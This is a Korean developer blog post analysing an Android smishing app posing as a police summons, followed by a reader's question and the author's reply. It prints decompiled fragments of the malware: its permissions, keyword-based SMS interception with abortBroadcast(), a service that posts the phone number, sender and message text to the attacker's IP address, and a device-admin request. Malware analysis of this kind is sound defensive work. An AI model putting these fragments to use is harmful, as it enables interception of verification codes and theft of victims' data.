얼마 전에 저희 팀 개발자에게 지방경찰청의 민사소송 출석요구서를 빙자한 스미싱 문자가 발송되었습니다.
스미싱 방지 기능이 포함된 ‘메시지통‘ 개발자이기 때문에 스미싱임을 충분히 인지한 상태였지만, 문자 내용상으로 ‘경찰청’, ‘민사소송’, ‘출석요구서’ 등 일반인들에게는 충분히 위화감을 줄 수 있는 단어가 포함되어 있다보니 메시지를 받는 순간 가슴이 쫄깃쫄깃해졌다고 합니다.
이에 개발자가 열받아서 스미싱앱을 직접 다운받고 분석해서 일반인을 위한 내용을 저희 서비스 공식 블로그를 통해서 ‘스미싱 앱 수신부터 삭제까지~ (스미싱 앱 원리 파헤치기)‘라는 글을 발행하였습니다. 아무래도 개발자가 분석한 내용에 비해서 기술적인 내용이 많이 생략되었고, 개발자분들이야 맘만 먹으면 다 분석할 수 있는 내용이지만 저도 막상 스미싱앱을 직접 분석해본 적은 없었기에 개발자분들의 귀차니즘과 궁금증을 동시에 해소해드릴까 해서 글을 포스팅합니다.
1.앱의 권한
경찰청 출석요구서 스미싱앱의 권한은 SMS를 수집해서 특정 서버로 전송하는 기능을 수행하기 위한 권한을 포함하고 있습니다. “RECEIVE_MMS“나 “WAKE_LOCK” 등은 코드 분석결과 사용하지 않는 권한으로 확인되었습니다.
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
2.주요 동작
앱 설치후 실행 시에는 사용자가 인지할 수 있는 동작은 수행하지 않습니다. 다만, 최초 구동 시에는 사용자가 모르게 http://126.114.228.119 URL로 단말 전화번호와 사용중인 통신사 정보를 전송합니다.
이후에는 SMS가 수신되면 ‘인증‘, ‘결재‘, ‘보호‘, ‘휴대폰‘, ‘번호‘, ‘www‘ 등의 문자열이 포함된 경우에 abortBroadcast() 호출을 통해서 다른 SMS 수신 앱으로 SMS가 전달되지 않도록 합니다. 다만, SMS receiver의 priority가 1000밖에 안되어서 모든 앱이 SMS를 수신하지 못하는 것은 아닙니다.
단말 전화번호와 사용중인 통신사 정보를 수집하는 부분과 특정 문자열을 포함한 문자메시지를 왜 서버로 전달하지 않는지는 추측하기 쉽지 않지만 기술적으로는 조금 허술하게 구현된 측면이 있습니다.
if (s1.indexOf("\uC778\uC99D") >= 0) { // 인증
towNum = (new StringBuilder()).append(s).toString();
comten = (new StringBuilder()).append(s1).toString();
D = true;
abortBroadcast();
}
if (s1.indexOf("\uACB0\uC81C") >= 0) { // 결재
towNum = (new StringBuilder()).append(s).toString();
comten = (new StringBuilder()).append(s1).toString();
D = true;
abortBroadcast();
}
if (s1.indexOf("\uBCF4\uD638") >= 0) { // 보호
towNum = (new StringBuilder()).append(s).toString();
comten = (new StringBuilder()).append(s1).toString();
D = true;
abortBroadcast();
}
if (s1.indexOf("\uD734\uB300\uD3F0") >= 0) { // 휴대폰
towNum = (new StringBuilder()).append(s).toString();
comten = (new StringBuilder()).append(s1).toString();
D = true;
abortBroadcast();
}
if (s1.indexOf("\uBC88\uD638") >= 0) { // 번호
towNum = (new StringBuilder()).append(s).toString();
comten = (new StringBuilder()).append(s1).toString();
D = true;
abortBroadcast();
}
if (s1.indexOf("www") >= 0) {
towNum = (new StringBuilder()).append(s).toString();
comten = (new StringBuilder()).append(s1).toString();
D = true;
abortBroadcast();
}
이렇게 특정 문자열에 대해서 abortBroadcast()로 SMS 수신앱에 전달되지 않게 한 이후에는 별도로 실행되는 Service를 통해서 SMS를 서버로 전달하게 됩니다.
public void onCreate() {
super.onCreate();
new Thread(new Runnable() {
public void run() {
while (true) {
if (!clService.this.threadDisable)
return;
try {
Thread.sleep(1000 L);
if (SMS.D) {
SMS.D = false;
String str = clService.this.tool.postHttpConnection(SMS.usehost, SMS.ponNum, SMS.towNum, SMS.comten);
Log.v("clService", "post:" + str);
}
} catch (InterruptedException localInterruptedException) {}
}
}
}).start();
}
3.특이사항
실제로 동작하지는 않지만 Device Admininistration 관련된 Code가 포함되어 있습니다.
Android 2.2부터 추가된 Device Policy Management는 단말의 Lock을 설정하거나 Data를 모두 지우거나 Password를 Reset하는 등의 단말 관리 정책을 사용하려고 시도 했다는 것인데, 보통은 Exchange 서버를 사용하는 Email앱을 사용할때 보여지는 화면이고 휴대폰의 분실 또는 기타 사유에 의해서 정보 유출을 방지하고자 선의로 사용되는 기능입니다.
다음과 같은 코드로 기기 권한 활성화 Activity를 호출하고자 구현되어 있고 실제로 호출되었다면 단순 스미싱이 아닌 더 큰 재앙(?)이 될 뻔했습니다. 물론 기기 권한 활성화는 별도 사용자의 동의가 없이는 동작하지 않기 때문에 우려하는 재앙이 발생할 개연성은 높지 않으리라 봅니다만 악용하면 위험한 기능임에는 틀림이 없습니다.
private void startAddDeviceAdminAty()
{
Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
localIntent.putExtra("android.app.extra.DEVICE_ADMIN", DAR.getCn(this));
localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "테스트");
startActivityForResult(localIntent, 10001);
}
안녕하세요 스미싱 코드분석에 대해 배우고 있는 학생입니다.
주요동작중에대해 알고 싶어서 댓글을 달았습니다.
주요동작
if(s1.indexOf(“\uC778\uC99D”) >= 0) // 인증 // 여기서 /*uC778\uC99D 이값이 인증을 뜻하는 코드 같
은건인지 궁금하고요*/
{
towNum = (new StringBuilder()).append(s).toString(); // 여기서는 towNum을 s의 값을로 변경하는데 왜그런지가 궁금하고 s값을 먼가요 ㅠㅠ?
comten = (new StringBuilder()).append(s1).toString(); // 위에 질문과 비슷합니다.
D = true; // 얘는 어따 쓰이는지 ?,,,,
abortBroadcast();
1. “\uC778\uC99D”는 ‘인증’이라는 글자의 유니코드입니다.
2. (new StringBuilder()).append(s).toString() 동작은 예상하신대로 그냥 s 값을 넣는 것과 다르지 않습니다. 어떤 의도로 저렇게 사용했는지는 저도 잘 모르겠습니다.
그리고, ‘s’ 값은 소스에 포함된 변수인데 스미싱에 재악용될 우려가 있어서 full source를 포함하지 않았기 때문에 궁금하신 것 같은데 전화번호입니다.
3. D = true 또한 스미싱 동작에 대한 내용이므로 자세한 설명을 생략하도록 하겠습니다.